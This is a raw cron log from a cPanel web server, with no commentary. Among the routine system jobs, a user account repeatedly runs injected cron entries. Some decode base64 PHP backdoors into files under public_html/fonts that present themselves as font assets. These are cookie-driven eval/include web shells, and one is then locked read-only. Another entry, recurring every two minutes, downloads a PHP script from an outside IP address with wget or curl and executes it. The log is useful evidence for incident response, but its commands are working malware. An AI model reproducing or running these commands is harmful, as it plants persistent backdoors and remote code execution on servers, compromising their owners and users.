Sep  4 17:26:01 ip-184-168-122-23 CROND[27820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:26:01 ip-184-168-122-23 CROND[27821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:27:01 ip-184-168-122-23 CROND[27926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:27:01 ip-184-168-122-23 CROND[27927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:27:01 ip-184-168-122-23 CROND[27929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:27:01 ip-184-168-122-23 CROND[27928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:28:01 ip-184-168-122-23 CROND[28025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:28:01 ip-184-168-122-23 CROND[28027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:28:01 ip-184-168-122-23 CROND[28029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:28:01 ip-184-168-122-23 CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:28:01 ip-184-168-122-23 CROND[28030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:29:01 ip-184-168-122-23 CROND[28127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:29:01 ip-184-168-122-23 CROND[28126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:29:01 ip-184-168-122-23 CROND[28128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:29:01 ip-184-168-122-23 CROND[28129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:30:01 ip-184-168-122-23 CROND[28216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:30:01 ip-184-168-122-23 CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:30:02 ip-184-168-122-23 CROND[28220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:30:02 ip-184-168-122-23 CROND[28222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:30:02 ip-184-168-122-23 CROND[28223]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:30:02 ip-184-168-122-23 CROND[28225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:30:02 ip-184-168-122-23 CROND[28226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:30:02 ip-184-168-122-23 CROND[28228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:31:01 ip-184-168-122-23 CROND[28326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:31:01 ip-184-168-122-23 CROND[28328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:31:01 ip-184-168-122-23 CROND[28329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:31:01 ip-184-168-122-23 CROND[28331]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:31:01 ip-184-168-122-23 CROND[28330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:32:01 ip-184-168-122-23 CROND[28519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:32:01 ip-184-168-122-23 CROND[28522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:32:01 ip-184-168-122-23 CROND[28521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:32:01 ip-184-168-122-23 CROND[28523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:32:01 ip-184-168-122-23 CROND[28524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:33:01 ip-184-168-122-23 CROND[28618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:33:01 ip-184-168-122-23 CROND[28620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:33:01 ip-184-168-122-23 CROND[28619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:33:01 ip-184-168-122-23 CROND[28621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:34:01 ip-184-168-122-23 CROND[28737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:34:01 ip-184-168-122-23 CROND[28738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:34:01 ip-184-168-122-23 CROND[28739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:34:01 ip-184-168-122-23 CROND[28740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:34:01 ip-184-168-122-23 CROND[28741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:35:01 ip-184-168-122-23 CROND[28848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:35:01 ip-184-168-122-23 CROND[28847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:35:01 ip-184-168-122-23 CROND[28854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:35:01 ip-184-168-122-23 CROND[28852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:35:01 ip-184-168-122-23 CROND[28853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:35:01 ip-184-168-122-23 CROND[28851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:35:01 ip-184-168-122-23 CROND[28849]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:35:01 ip-184-168-122-23 CROND[28850]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 17:36:01 ip-184-168-122-23 CROND[28961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:36:01 ip-184-168-122-23 CROND[28963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:36:01 ip-184-168-122-23 CROND[28964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:36:01 ip-184-168-122-23 CROND[28966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:36:01 ip-184-168-122-23 CROND[28965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:37:01 ip-184-168-122-23 CROND[29064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:37:01 ip-184-168-122-23 CROND[29065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:37:01 ip-184-168-122-23 CROND[29066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:37:01 ip-184-168-122-23 CROND[29067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:38:01 ip-184-168-122-23 CROND[29166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:38:01 ip-184-168-122-23 CROND[29165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:38:01 ip-184-168-122-23 CROND[29167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:38:01 ip-184-168-122-23 CROND[29169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
